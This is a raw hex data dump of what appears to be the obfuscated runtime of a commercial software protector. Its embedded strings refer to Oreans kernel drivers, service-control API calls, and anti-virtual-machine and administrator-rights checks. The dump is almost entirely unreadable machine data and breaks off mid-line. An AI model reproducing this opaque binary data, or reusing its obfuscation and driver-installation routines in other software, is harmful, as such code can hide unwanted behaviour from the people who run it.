0E2B2934Bh, 57B95150h dd 5F7568B0h, 56006A93h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 3153B878h, 4D23499Dh, 29D0FF06h dd 4D075DB5h, 8DB6B106h, 4D740E9Dh, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 276C4275h dd 9627CB21h, 8D03849Dh, 64D31ADh, 5E9h, 9B668800h, 1B8A81Ch dd 0F000000h, 287h, 0FFD38B00h, 81C18BE3h, 3AFEF0D6h, 8BC08B5Bh dd 4D2685BDh, 0D9BD8306h, 64D1Bh, 0BD830975h, 64D0011h dd 50197400h, 0B8C08B53h, 40Fh, 31A58589h, 9D8D064Dh, 64FB77Ch dd 585BD3FFh, 11BD83h, 7400064Dh, 0B8535017h, 40Fh, 31A58589h dd 9D8D064Dh, 64FB41Dh, 585BD3FFh, 31E6B966h, 0C8B0Fh dd 820F0000h, 6, 551BD8Bh, 6A064Dh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 89A76DC3h dd 0B1621FACh, 8B388D00h, 0E9C08BFBh, 0AAh, 74666F53h dd 65726177h, 6E69575Ch, 6563694Ch, 65736Eh, 63656843h dd 4E496Bh, 6F727058h, 69784574h, 68430074h, 4F6B6365h dd 57005455h, 694C6E69h, 736E6563h, 72655665h, 6E6F6973h dd 6E695700h, 6563694Ch, 4465736Eh, 65766972h, 72655672h dd 6E6F6973h, 6E695700h, 6563694Ch, 4965736Eh, 6174736Eh dd 65636Eh, 74697845h, 50006B4Fh, 49636F72h, 7250004Eh dd 554F636Fh, 78450054h, 4E497469h, 69784500h, 54554F74h dd 49705400h, 4Eh, 2 dup(0) dd 0AF7F0000h, 72F077DDh, 96E977DDh, 89000005h, 4FB23885h dd 34858D06h, 50064FB2h, 0B19E858Dh, 6850064Fh, 80000001h dd 0B24495FFh, 196A064Fh, 0B238B5FFh, 16A064Fh, 858D006Ah dd 64FB1CDh, 34B5FF50h, 0FF064FB2h, 4D0CC995h, 34B5FF06h dd 0FF064FB2h, 4FB24095h, 34B5FF06h, 0FF064FB2h, 4D283195h dd 8589C306h, 64FB238h, 0B234858Dh, 8D50064Fh, 4FB19E85h dd 1685006h, 0FF800000h, 4FB24495h, 8D046A06h, 4FB23885h dd 46A5006h, 858D006Ah, 64FB1F7h, 34B5FF50h, 0FF064FB2h dd 4D0CC995h, 34B5FF06h, 0FF064FB2h, 4FB24095h, 34B5FF06h dd 0FF064FB2h, 4D283195h, 8589C306h, 64FB238h, 0B234858Dh dd 8D50064Fh, 4FB19E85h, 1685006h, 0FF800000h, 4FB24495h dd 8D046A06h, 4FB23885h, 46A5006h, 858D006Ah, 64FB1DFh dd 34B5FF50h, 0FF064FB2h, 4D0CC995h, 34B5FF06h, 0FF064FB2h dd 4FB24095h, 34B5FF06h, 0FF064FB2h, 4D283195h, 8589C306h dd 64FB238h, 0B234858Dh, 8D50064Fh, 4FB19E85h, 1685006h dd 0FF800000h, 4FB24495h, 8D046A06h, 4FB23885h, 46A5006h dd 858D006Ah, 64FB20Ah, 34B5FF50h, 0FF064FB2h, 4D0CC995h dd 34B5FF06h, 0FF064FB2h, 4FB24095h, 34B5FF06h, 0FF064FB2h dd 4D283195h, 8589C306h, 64FB238h, 0B234858Dh, 8D50064Fh dd 4FB19E85h, 1685006h, 0FF800000h, 4FB24495h, 8D046A06h dd 4FB23885h, 46A5006h, 858D006Ah, 64FB1BAh, 34B5FF50h dd 0FF064FB2h, 4D0CC995h, 34B5FF06h, 0FF064FB2h, 4FB24095h dd 34B5FF06h, 0FF064FB2h, 4D283195h, 0BD83C306h, 64D15BDh dd 0B840F00h, 8B000000h, 4D15BD9Dh, 4CC38306h, 83C30389h dd 4D15BDBDh, 840F0006h, 0Bh, 15BD9D8Bh, 0C383064Dh, 0C3038950h dd 15BDBD83h, 0F00064Dh, 0B84h, 0BD9D8B00h, 83064D15h dd 38954C3h, 0BDBD83C3h, 64D15h, 0B840Fh, 9D8B0000h, 64D15BDh dd 8958C383h, 0BD83C303h, 64D15BDh, 0B840F00h, 8B000000h dd 4D15BD9Dh, 5CC38306h, 0C3C30389h, 38858960h, 8D064FB2h dd 4FB23485h, 858D5006h, 64FB19Eh, 16850h, 95FF8000h, 64FB244h dd 858D046Ah, 64FB238h, 6A046A50h, 2F858D00h, 50064FB2h dd 0B234B5FFh, 95FF064Fh, 64D0CC9h, 1BD9BD83h, 0F00064Dh dd 0C84h, 34B5FF00h, 0FF064FB2h, 4FB24095h, 34B5FF06h dd 0FF064FB2h, 4D283195h, 60C36106h, 0B2388589h, 858D064Fh dd 64FB234h, 9E858D50h, 50064FB1h, 168h, 4495FF80h, 6A064FB2h dd 38858D04h, 50064FB2h, 6A046Ah, 0B211858Dh, 0FF50064Fh dd 4FB234B5h, 0C995FF06h, 83064D0Ch, 4D1BD9BDh, 840F0006h dd 0Ch, 0B234B5FFh, 95FF064Fh, 64FB240h, 0B234B5FFh, 95FF064Fh dd 64D2831h, 8960C361h, 4FB23885h, 34858D06h, 50064FB2h dd 0B19E858Dh, 6850064Fh, 80000001h, 0B24495FFh, 46A064Fh dd 0B238858Dh, 6A50064Fh, 8D006A04h, 4FB21885h, 0B5FF5006h dd 64FB234h, 0CC995FFh, 0BD83064Dh, 64D1BD9h, 0C840F00h dd 0FF000000h, 4FB234B5h, 4095FF06h, 0FF064FB2h, 4FB234B5h dd 3195FF06h, 61064D28h, 858960C3h, 64FB238h, 0B234858Dh dd 8D50064Fh, 4FB19E85h, 1685006h, 0FF800000h, 4FB24495h dd 8D046A06h, 4FB23885h, 46A5006h, 858D006Ah, 64FB220h dd 34B5FF50h, 0FF064FB2h, 4D0CC995h, 0D9BD8306h, 64D1Bh dd 0C840Fh, 0B5FF0000h, 64FB234h, 0B24095FFh, 0B5FF064Fh dd 64FB234h, 283195FFh, 0C361064Dh, 38858960h, 8D064FB2h dd 4FB23485h, 858D5006h, 64FB19Eh, 16850h, 95FF8000h, 64FB244h dd 858D046Ah, 64FB238h, 6A046A50h, 27858D00h, 50064FB2h dd 0B234B5FFh, 95FF064Fh, 64D0CC9h, 1BD9BD83h, 0F00064Dh dd 0C84h, 34B5FF00h, 0FF064FB2h, 4FB24095h, 34B5FF06h dd 0FF064FB2h, 4D283195h, 60C36106h, 0B23885C7h, 1064Fh dd 858D0000h, 64FB234h, 9E858D50h, 50064FB1h, 268h, 4495FF80h dd 0B064FB2h, 0F840FC0h, 0C7000000h, 4FB23885h, 6, 4DE900h dd 46A0000h, 0B238858Dh, 6A50064Fh, 8D006A04h, 4FB1B285h dd 0B5FF5006h, 64FB234h, 0CC995FFh, 0C00B064Dh, 0F840Fh dd 85C70000h, 64FB238h, 0 dd 0AE9h, 3885C700h, 1064FB2h, 0FF000000h, 4FB234B5h, 3195FF06h dd 61064D28h, 0B238858Bh, 60C3064Fh, 0B2388589h, 858D064Fh dd 64FB234h, 9E858D50h, 50064FB1h, 168h, 4495FF80h, 6A064FB2h dd 38858D04h, 50064FB2h, 6A046Ah, 0B1B2858Dh, 0FF50064Fh dd 4FB234B5h, 0C995FF06h, 83064D0Ch, 4D1BD9BDh, 840F0006h dd 0Ch, 0B234B5FFh, 95FF064Fh, 64FB240h, 0B234B5FFh, 95FF064Fh dd 64D2831h, 8960C361h, 4FB23885h, 34858D06h, 50064FB2h dd 0B19E858Dh, 6850064Fh, 80000001h, 0B24495FFh, 46A064Fh dd 0B238858Dh, 6A50064Fh, 8D006A04h, 4FB1C485h, 0B5FF5006h dd 64FB234h, 0CC995FFh, 0BD83064Dh, 64D1BD9h, 0C840F00h dd 0FF000000h, 4FB234B5h, 4095FF06h, 0FF064FB2h, 4FB234B5h dd 3195FF06h, 61064D28h, 0E585C6C3h, 52064D26h, 0E47B0768h dd 95B5FFADh, 0FF064D03h, 4D137595h, 44858906h, 0C6064FB2h dd 4D26E585h, 0E5685206h, 0FF902E00h, 4D0395B5h, 7595FF06h dd 89064D13h, 4FB24085h, 0E585C606h, 52064D26h, 0BF123568h dd 95B5FFB9h, 0FF064D03h, 4D137595h, 0C9858906h, 0C6064D0Ch dd 4D26E585h, 34685206h, 0FF987810h, 4D0395B5h, 7595FF06h dd 89064D13h, 4D283185h, 0E585C606h, 52064D26h, 5DBD468h dd 95B5FFC0h, 0FF064D03h, 4D137595h, 5858906h, 0E9064D18h dd 20Eh, 6E614333h, 20746F6Eh, 74697277h, 726F2065h, 736E6165h dd 6478762Eh, 614D0D0Ah, 7320656Bh, 20657275h, 74616874h dd 69687420h, 69662073h, 6920656Ch, 6F6E2073h, 65622074h dd 20676E69h, 64657375h, 20796220h, 746F6E61h, 20726568h dd 676F7270h, 2E6D6172h, 68h dup(0) aOreans_vxd db '\Oreans.vxd',0 dd 2 dup(0) dd 0EFE90000h, 0C6000000h, 4D26E585h, 86684706h, 0FFE3E45Bh dd 4D1431B5h, 6858D06h, 0FF064D39h, 10468D0h, 9D8D0000h dd 64D1659h, 50D0FF53h, 0BA76B58Dh, 0FE8B064Fh, 0FAEC032h dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 26E585C6h dd 6843064Dh, 0BC8E6EFCh, 1431B5FFh, 858D064Dh, 64D3906h dd 0B58DD0FFh, 64D1659h, 8068006Ah, 6A000000h, 6A006A02h dd 6800h, 0FF56C000h, 0C6D88BD0h, 4D26E585h, 56685706h dd 0FFA69BEEh, 4D1431B5h, 6858D06h, 0FF064D39h, 0D5BD8DD0h dd 8D064D0Ah, 4FBB9C8Dh, 57006A06h, 37D068h, 0FF535100h dd 0FC085D0h, 1B85h, 7EB58D00h, 8D064FB8h, 4FA90385h, 8DD0FF06h dd 4D740E8Dh, 0B806h, 0E1FF0000h, 26E585C6h, 6843064Dh dd 0C0764AA7h, 1431B5FFh, 858D064Dh, 64D3906h, 0FF53D0FFh dd 0D0B9C3D0h, 0E8000037h, 0 dd 0EC08358h, 2E90889h, 8B000000h, 37D0E9C3h, 5A4D0000h dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0 dd 400000h, 8 dup(0) dd 0B00000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h dd 240A0Dh, 0 dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0 dd 454C0000h, 0 dd 20000h, 4, 80000000h, 140003h, 4 dup(0) dd 2000000h, 1C00000h, 900000h, 0 dd 7E0000h, 0 dd 0C40000h, 10000h, 0DC0000h, 3 dup(0) dd 12C0000h, 1380000h, 2 dup(0) dd 1420000h, 1960000h, 1D20000h, 0 dd 1D20000h, 0 dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0) dd 27C00400h, 0 dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h dd 11h, 12h, 13h, 58080014h, 544F5250h, 445856h, 3010000h dd 30001h, 2 dup(0) dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h dd 9B010191h, 6002727h, 79276F01h, 81017D01h, 89018501h dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h dd 360h dup(0) dd 4000000h, 10000h, 50580000h, 56544F52h, 4458h, 8000h dd 8 dup(0) dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h dd 5273h, 9C3h dup(0) dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0) dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h, 831AEBC0h dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 0FE80000h dd 0EC000000h, 0DEC0D249h, 8D120AACh, 8F3662C2h, 1B40CB3h dd 81DE8B5Fh, 5A15C7h, 6822B300h, 0 dd 4EBE6659h, 0F148B4Fh, 81F08B66h, 8926A3C2h, 1DA0B85Bh dd 0EA8116BAh, 74E1CB89h, 28DB8166h, 90F281F5h, 0F344BA4h dd 185h, 0F52F800h, 48FF2BFh, 16820F0Fh, 0E9000000h, 11h dd 0B57D8C0h, 7A758D97h, 59C11736h, 8D42DC7Bh, 3E98372h dd 8B4933B7h, 0A8F981DEh, 0FFFFFA6h, 2385h, 0CE900h, 51260000h dd 48189567h, 0BCA309E6h, 25E9F717h, 52000000h, 0C4F982ABh dd 18EC3BF1h, 0BB9C7B19h, 30BE6653h, 72E95E85h, 99FFFFFFh dd 0FD4F2F25h, 4B0FF569h, 699C11D4h, 99E9h, 75622F00h dd 65686367h, 326B63h, 6775622Fh, 63656863h, 662F006Bh dd 6563726Fh, 6E7572h, 6775622Fh, 63656863h, 6C75666Bh dd 732F006Ch, 63776F68h, 65646Fh, 6F68732Fh, 646F6377h dd 2F003265h, 74726C63h, 69642F00h, 2F003173h, 776F6873h dd 74736E69h, 65636E61h, 65672F00h, 736C7774h, 75746174h dd 6C2F0073h, 7473676Fh, 73757461h, 75642F00h, 7473706Dh dd 73757461h, 0 dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h dd 64FF4B7h, 0A840F00h, 0C7000000h, 4D001185h, 106h, 0E585C600h dd 47064D26h, 0B9627568h, 24048147h, 48B40A18h, 1431B5FFh dd 858D064Dh, 64D3906h, 0D0FFD0FFh, 3F80F88Bh, 22850F22h dd 47000000h, 0FAE22B0h, 0FFFFF985h, 3F80FFh, 31E840Fh dd 80470000h, 840F003Fh, 314h, 1EE9h, 3F8000h, 306840Fh dd 3F800000h, 6850F20h, 47000000h, 6E9h, 0E2E94700h, 80FFFFFFh dd 850F003Fh, 5, 2E3E9h, 1E900h, 80470000h, 840F203Fh dd 0FFFFFFF6h, 0F003F80h, 585h, 2C6E900h, 0AE80000h, 0E9000000h dd 0FFFFFFCBh, 2B7E9h, 37B58D00h, 0E8064FF4h, 225h, 0F4CCBD03h dd 0BD83064Fh, 64FF4CCh, 0B840F00h, 0C7000000h, 4D1BD985h dd 106h, 0B58DC300h, 64FF442h, 1FCE8h, 0CCBD0300h, 83064FF4h dd 4FF4CCBDh, 840F0006h, 0Bh, 1185C7h, 1064Dh, 8DC30000h dd 4FF4BBB5h, 1D3E806h, 0BD030000h, 64FF4CCh, 0F4CCBD83h dd 0F00064Fh, 0B84h, 0CD85C700h, 1064D0Fh, 0C3000000h dd 0F44CB58Dh, 0AAE8064Fh, 3000001h, 4FF4CCBDh, 0CCBD8306h dd 64FF4h, 0B840Fh, 85C70000h, 64D0011h, 1, 56B58DC3h dd 0E8064FF4h, 181h, 0F4CCBD03h, 0BD83064Fh, 64FF4CCh dd 15840F00h, 0C7000000h, 4D001185h, 106h, 0D985C700h dd 1064D1Bh, 0C3000000h, 0F464B58Dh, 4EE8064Fh, 3000001h dd 4FF4CCBDh, 0CCBD8306h, 64FF4h, 0A840Fh, 85C70000h, 64D26B5h dd 1, 0F46EB58Dh, 26E8064Fh, 3000001h, 4FF4CCBDh, 0CCBD8306h dd 64FF4h, 0A840Fh, 85C70000h, 64D26B5h, 1, 0F479B58Dh dd 0FEE8064Fh, 3000000h, 4FF4CCBDh, 0CCBD8306h, 64FF4h dd 0A840Fh, 85C70000h, 64D1A95h, 1, 0F47FB58Dh, 0D6E8064Fh dd 3000000h, 4FF4CCBDh, 0CCBD8306h, 64FF4h, 0A840Fh, 85C70000h dd 64D1AC1h, 1, 0F485B58Dh, 0AEE8064Fh, 3000000h, 4FF4CCBDh dd 0CCBD8306h, 64FF4h, 0A840Fh, 85C70000h, 64D17BDh, 1 dd 0F493B58Dh, 86E8064Fh, 3000000h, 4FF4CCBDh, 0CCBD8306h dd 64FF4h, 0A840Fh, 85C70000h, 64D0325h, 1, 0F4A0B58Dh dd 5EE8064Fh, 3000000h, 4FF4CCBDh, 0CCBD8306h, 64FF4h dd 0A840Fh, 85C70000h, 64D313Dh, 1, 0F4ABB58Dh, 36E8064Fh dd 3000000h, 4FF4CCBDh, 0CCBD8306h, 64FF4h, 0A840Fh, 85C70000h dd 64D27A5h, 1, 1E9h, 3F804700h, 9840F20h, 80000000h, 850F003Fh dd 0FFFFFFEDh, 1B960C3h, 8B000000h, 1FE9DEh, 3F800000h dd 5850F00h, 0B9000000h, 0 dd 1638178Ah, 5840Fh, 0B90000h, 46000000h, 3E8047h, 8840Fh dd 0C90B0000h, 0FFD0850Fh, 0C90BFFFFh, 21840Fh, 3F800000h dd 9840F00h, 80000000h, 850F203Fh, 0Ah, 1B9h, 5E900h, 0B90000h dd 0B000000h, 0D840FC9h, 2B000000h, 0CCB589F3h, 0E9064FF4h dd 0Ah, 0F4CC85C7h, 64Fh, 0C3610000h, 0A9E9C88Bh, 41000010h dd 50415644h, 2E323349h, 4C4C44h, 6E65704Fh, 614D4353h dd 6567616Eh, 43004172h, 74616572h, 72655365h, 65636976h dd 74530041h, 53747261h, 69767265h, 416563h, 4E746547h dd 76697461h, 73795365h, 496D6574h, 6F666Eh, 6E65704Fh dd 76726553h, 41656369h, 6C654400h, 53657465h, 69767265h dd 43006563h, 65736F6Ch, 76726553h, 48656369h, 6C646E61h dd 6F430065h, 6F72746Eh, 7265536Ch, 65636976h, 8 dup(0) dd 65726F00h, 33736E61h, 79732E32h, 73h, 0 dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0) aOreans32 db 'oreans32',0 a_Oreans32 db '\\.\oreans32',0 a_GlobalOreans3 db '\\.\Global\oreans32',0 aOreansx64 db 'oreansx64',0 a_GlobalOreansx db '\\.\Global\oreansx64',0 align 4 dd 41h dup(0) dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h dd 736E6165h, 732E3233h, 7379h, 48h dup(0) dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h dd 676F7270h, 2E6D6172h, 59h dup(0) dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0) dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0) dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0) aSOreans_vxd db '%s\Oreans.vxd',0 align 4 dd 2 dup(0) aXprotevent db 'XprotEvent',0 align 4 dd 0Ah dup(0) dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h dd 6567h, 43000000h, 74616572h, 65764565h, 4120746Eh, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0) dd 10h, 0FF000100h, 17FFEFFh, 1000000h, 4A000000h, 2, 0F000100h dd 40800h, 94h, 5, 1, 0A28h, 2, 21h dup(0) dd 0BF66C48Bh, 8589907Ah, 64D1B41h, 290DBFBAh, 8BC08B6Bh dd 4D11798Dh, 3890F06h, 0F000000h, 0BD83C8B7h, 64D1BD9h dd 83097500h, 4D0011BDh, 19740006h, 0C08B5350h, 43DB8h dd 75858900h, 8D064D25h, 4FB7159Dh, 5BD3FF06h, 11BD8358h dd 64D00h, 53501774h, 43DB8h, 75858900h, 8D064D25h, 4FB4049Dh dd 5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 95895846h, 64D2445h, 11E9h, 2E012C00h dd 3346B41Fh, 8A67B0C7h, 0B3799AEAh, 0C08B2DB6h, 0C08BDEB1h dd 11A18509h, 0BD83064Dh, 64D1BD9h, 83097500h, 4D0011BDh dd 13740006h, 0C08B5350h, 0B8h, 0B79D8D00h, 0FF064FB5h dd 83585BD3h, 4D0011BDh, 11740006h, 0B85350h, 8D000000h dd 4FB4689Dh, 5BD3FF06h, 399D8958h, 51064D0Fh, 0C08B5FFCh dd 0C2EDCA81h, 0C08B4925h, 1BD9BD83h, 7500064Dh, 11BD8309h dd 64D00h, 53501374h, 0B8C08Bh, 8D000000h, 4FB4E99Dh, 5BD3FF06h dd 11BD8358h, 64D00h, 53501174h, 0B8h, 369D8D00h, 0FF064FB4h dd 80585BD3h, 0BD8923D5h, 64D1A91h, 2D69B589h, 0C08B064Dh dd 6E21B966h, 8D89C08Bh, 64D0DB1h, 1BD9BD83h, 7500064Dh dd 11BD8309h, 64D00h, 53501374h, 0B8C08Bh, 8D000000h, 4FB5509Dh dd 5BD3FF06h, 11BD8358h, 64D00h, 53501174h, 0B8h, 4F9D8D00h dd 0FF064FB4h, 8B585BD3h, 4D0AC1BDh, 15952906h, 8B064D2Ah dd 93F6B9D0h, 0C08B30E2h, 18810Fh, 13E90000h, 0A3000000h dd 0D927546Bh, 0AADF5E23h, 28593CA6h, 10AD2D22h, 0C08B82CFh dd 3CA8B60h, 4D12959Dh, 0BD836106h, 64D1BD9h, 83097500h dd 4D0011BDh, 13740006h, 0C08B5350h, 0B8h, 829D8D00h, 0FF064FB4h dd 6A585BD3h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 8A9AC353h, 69BD8BD1h, 8B064D32h dd 8E8C0h, 0B2CD0000h, 0F4D0908h, 2FBAC093h, 5A73697Fh dd 22558D31h, 0C08B064Dh, 0D9BD83F9h, 64D1Bh, 0BD830975h dd 64D0011h, 50197400h, 0B8C08B53h, 7D0h, 25758589h, 9D8D064Dh dd 64FB715h, 585BD3FFh, 11BD83h, 7400064Dh, 0B8535017h dd 7D0h, 25758589h, 9D8D064Dh, 64FB404h, 585BD3FFh, 101D8D8Bh dd 8B60064Dh, 4D1EB995h, 6D9D8B06h, 61064D25h, 6AC08Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 18A160C3h, 615F19B4h, 0BD012BF4h, 64D0D09h, 26E585C6h dd 0BA53064Dh, 9183B0Fh, 395F9068h, 57006A99h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 7763D9E7h dd 31B5FF61h, 0F8064D14h, 3906858Dh, 860F064Dh, 6, 159D9529h dd 0D0FF064Dh, 24658D01h, 8589064Dh, 64D2E55h, 85C6CB8Bh dd 64D26E5h, 818D8B57h, 68064D23h, 90045206h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 93C35040h, 5F83D559h dd 86FD9ABh, 16850Fh, 0E9600000h, 0Dh, 3EF09798h, 0C354A742h dd 12903125h, 61EE8AEBh, 1F21BD8Bh, 0B5FF064Dh, 64D1431h dd 858DD08Bh, 64D3906h, 7E9h, 2F299F00h, 0BB6B4803h, 95858953h dd 5A064D2Dh, 0BD8BD0FFh, 64D1F2Dh, 4118589h, 6A064Dh dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0DFF07EC3h, 958B7E4Ch, 64D1535h, 26E585C6h, 0B243064Dh dd 7028689Dh, 840FBC90h, 1, 31B5FFFCh, 0E9064D14h, 0Ch dd 60295660h, 0A84B9328h, 0C1ED5C26h, 3906858Dh, 0F181064Dh dd 3208E4C4h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 153F01C3h, 7E7F151Fh, 0F94A80CFh dd 26ED8589h, 0BA66064Dh, 85C66A28h, 64D26E5h, 38EF814Ch dd 68341CF0h, 0D9DA1CE9h, 0DE9h, 970B5700h, 367A758Dh dd 7B59C117h, 0B5FF42DCh, 64D1431h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0EBC35747h, 0CA30B62Ch, 0F8786264h dd 3906858Dh, 0FFF9064Dh, 50006AD0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0C8264CA7h dd 66FED267h, 8589FB8Bh, 64D2A9Dh, 0C850Fh, 8D0F0000h dd 6, 2CB9B529h, 85C6064Dh, 64D26E5h, 0F8606046h, 9615857h dd 4D23B5BDh, 14686106h, 29BADE06h, 4D31C195h, 31B5FF06h dd 0E9064D14h, 11h, 0F2BF4A0Bh, 0A7CE44BAh, 4458E050h dd 1270FD74h, 6858D8Bh, 8B064D39h, 4D323D95h, 33EA8106h dd 0FF4DB79Ch, 89CE8BD0h, 4D331985h, 2830F06h, 0B2000000h dd 0E585C637h, 47064D26h, 958B30B1h, 64D05B1h, 0FB5E268h dd 52006A8Ah, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 8B666FABh, 15B529D6h, 0FF064D03h, 4D1431B5h dd 35BD0306h, 8B064D2Fh, 6858DF8h, 0BF064D39h, 4FE34535h dd 5FDBD89h, 0D0FF064Dh, 820Fh, 85890000h, 64D10CDh, 3850Fh dd 0F5800000h, 0E585C6B6h, 47064D26h, 13E9D08Ah, 0F000000h dd 38EDBD1Ah, 51DF6B3Ch, 7F7AD49Eh, 635A1C0Dh, 0F368F8AEh dd 6A83D0B5h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 4F1FC355h, 0F89B82EDh, 0E5BEDC77h dd 7538F281h, 0B5FF6CFAh, 64D1431h, 8E9h, 5F0F4900h, 1380CE47h dd 6858D2Dh, 6A064D39h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0BAD8C356h, 1396477Fh dd 8589D0FFh, 64D2AA5h, 1D8C0Fh, 11E80000h, 0BA000000h dd 295E258Eh, 2DD16AB8h, 6E04531Ah, 0F047413Ch, 850Fh dd 0C65F0000h, 4D26E585h, 0EE97706h, 12000000h, 0DDAD28DAh dd 0DC605D02h, 0A42A7AB1h, 0A8A368A5h, 6AF397h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 313902C3h, 4D0D299Dh, 0C1B5FF06h, 0F9064D22h, 3906858Dh dd 6A064Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 6153CDC3h, 915FC920h, 0A996C181h, 0D0FF642Ah dd 17CDB501h, 8589064Dh, 64D0341h, 1621BD89h, 85C6064Dh dd 64D26E5h, 48C78147h, 68540FFFh, 8728FAF6h, 0A698D8Bh dd 0B5FF064Dh, 64D1431h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 48C35747h, 0AA58D89h, 858D064Dh, 64D3906h dd 2EE1958Bh, 0D0FF064Dh, 82C78166h, 3D85894Fh, 0C6064D23h dd 